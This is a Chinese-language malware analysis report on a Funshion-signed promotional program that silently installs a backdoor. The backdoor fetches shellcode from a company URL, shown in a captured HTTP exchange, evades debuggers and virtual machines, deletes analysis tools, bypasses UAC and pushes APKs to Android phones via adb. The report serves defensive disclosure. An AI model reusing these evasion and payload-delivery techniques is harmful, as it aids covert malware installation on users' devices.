by qxnjawk
0x00 摘要
最近,360安全中心检测到,大量推广程序在推广一款带有有效风行签名——“Beijing Funshion Online Technologies Ltd.”的静默安装程序。后续分析发现,该程序静默安装,无法卸载,通过LSP注入系统各个联网进程执行。带有反虚拟机,反调试,抗分析,远程控制,远程执行的能力,是一款植入用户计算机的后门程序。
0x01 FunMini文件分析
基本信息:
- MD5 : 64a34cc9a22fa93d0705920e4c3aed0c
- 文件名称 : FunMini.exe
- 文件类型 : PE,未加壳
- 签名信息 : Beijing Funshion Online Technologies Ltd.
- 签名正常 风行公司的推广程序
行为概述:
该样本运行之后,会对目标机器的环境进行检测:检测虚拟机,各种程序开发工具等。
如果不存在开发工具和虚拟机,就会下载一个后门dll程序加载执行,该dll还会进行手机app推广。
行为详解:
木马检查用户机器上是否存在IDA, vc6.0, windbg.exe等分析人员常用的分析工具。这类检测在木马程序中很常见,正常面向大众的软件,很少做这类检测。
以下为木马检测的所有字符串的内存截图:
检测通过之后,后门从服务器下载一个名为Foamii.dll的文件,而该文件才是一切行为的核心。
0x02 Foamii.dll文件分析
基本信息:
- 名称 : Foamii.dll
- MD5 : a8367b1199422f103da439678a1a3683
- 文件类型 : win32 PE,DLL
- 签名信息 : Beijing Funshion Online Technologies Ltd.
- 签名正常
行为详解:
木马首先调用WinExec函数启动rundll32.exe作为宿主进程,调用Foamii.dll的startup函数
运行后,dll会从服务器读取在线shellcode代码到本地
shellcode的远端地址竟然就堂而皇之的挂在风行官网上:http://fld.funshion.com/instant/instant?bid=52
用浏览器打开该URL内容如下:
数据报文如下图:
GET /instant/instant?bid=52 HTTP/1.1
Cache-Control: max-age=43200
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Funshion/1.0.0.1
Host: fld.funshion.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx/1.2.0
Date: Wed, 23 Sep 2015 07:12:02 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
184
..TKDS…..$..e..1..}…_/…6………..d..`CG..W…S…..V……=-…..\.Gd4..*..a}…X.#..Y…}R …o\W.]I.M.Jw…%.Lm.l._..Zq..n1.X[+F.+….~…c.J…~.]./..’d2…….z.c(.{.(.n..%..8=.3`.`.W…!….E..1.j.U….[..
#……T&…/……!<.iDEKOY@….=yH.i.MV…..i…..A…..e.._g.YL`…..,5]R..`……&
Y….(e….@.J.%.O.T.l..U+…….5..6.]..a{`.? .IEX….<xx…..-…k…}…I..\
0
而加载shellcode后,代码会向服务器发起访问,返回信息则是一个json串:
显然,json串中又为shellcode指明了一个新的下载地址,下载回来的则是一个名为Foamii.zip的压缩文件
当Foamii.dll将Foamii.zip下载回来之后,将其解压,并进一步释放了一个名为FunNail.dll的程序
0x03 FunNail.dll文件分析
文件信息:
- 文件名称 : FunNail.dll
- MD5 : 042ace2a209f537bb9402a563894cf9e
- 签名信息 : Beijing Funshion Online Technologies Ltd.
行为概述:
该程序被运行后,首先会检测当前环境是否运行于虚拟机当中,同时删除PcHunter, smiff等常见分析工具。然后下载推广程序,进行推广。
行为详解:
木马调用IsProcessorFeaturePresent检测自身是否正处于调试环境中,由此判断自身是否正在被分析人员分析:
若并非处于调试环境中,则申请内存执行shellcode
之后,创建一个模态对话框,关键的工作函数就放在了窗体回调函数中:
工作函数中,首先是检测虚拟机情况,看自己是否运行于虚拟机之中:
而后,程序会对磁盘中的进行遍历
遍历文件过程中,一旦发现检测分析工具则立即删除:
删除PCHunter32.exe文件
删除smsniff.exe文件
另外,此处还有一个插曲:如果程序检测到当前正运行于Win7之后的系统,程序甚至还有专门用于绕过UAC防护的代码,考虑不可谓不周到。
一切准备工作停当之后,便下载了一套安卓手机的连接组件回来:
同时开启一个转么的线程,用来等待手机usb设备接入
一旦发现有安卓手机接入,则创建一个可读写的pipe管道,主要为adb fork-server 服务。
而后利用adb命令在手机端创建一个 adb fork-server server进程 ,用于通过adb连接继而到电脑的手机。
在手机中创建进程adb fork-server server成功之后,会读取手机端adb fork-server server的数据
并启动daemon 守护进程
同时下载一个或几个APK文件到本地:
现在要做的,就是找到SD卡或者手机内部存储的tmp路径,并将已经准备好的apk文件推送到手机当中:
最后,安装并启动安卓的daemon守护进程,拼接adb shell:install命令用来启动apk进行流氓推广
以上这一切,用户是完全没有任何感知的,能感知到的唯有在手机上的这一次又一次的不期而遇而已……
0x04 总结
360安全中心最早接到关于带有风行签名程序从PC端向安卓机强推安卓应用的问题,最早见于去年(2014年)12月中旬,当时就曾组织过技术力量对该族系推广进行过拦截。但在沉寂了9个多月之后,今年9月中旬,该族系又变换了更加犀利的反安全软件代码卷土重来。
目前360已对其推广做了拦截,并提醒用户及时清理,该后门安装量已经过数百万台,并且依然在不断的变种与我们进行对抗。
由衷希望厂商管理好自己产品,不要在这条路上越走越远才好。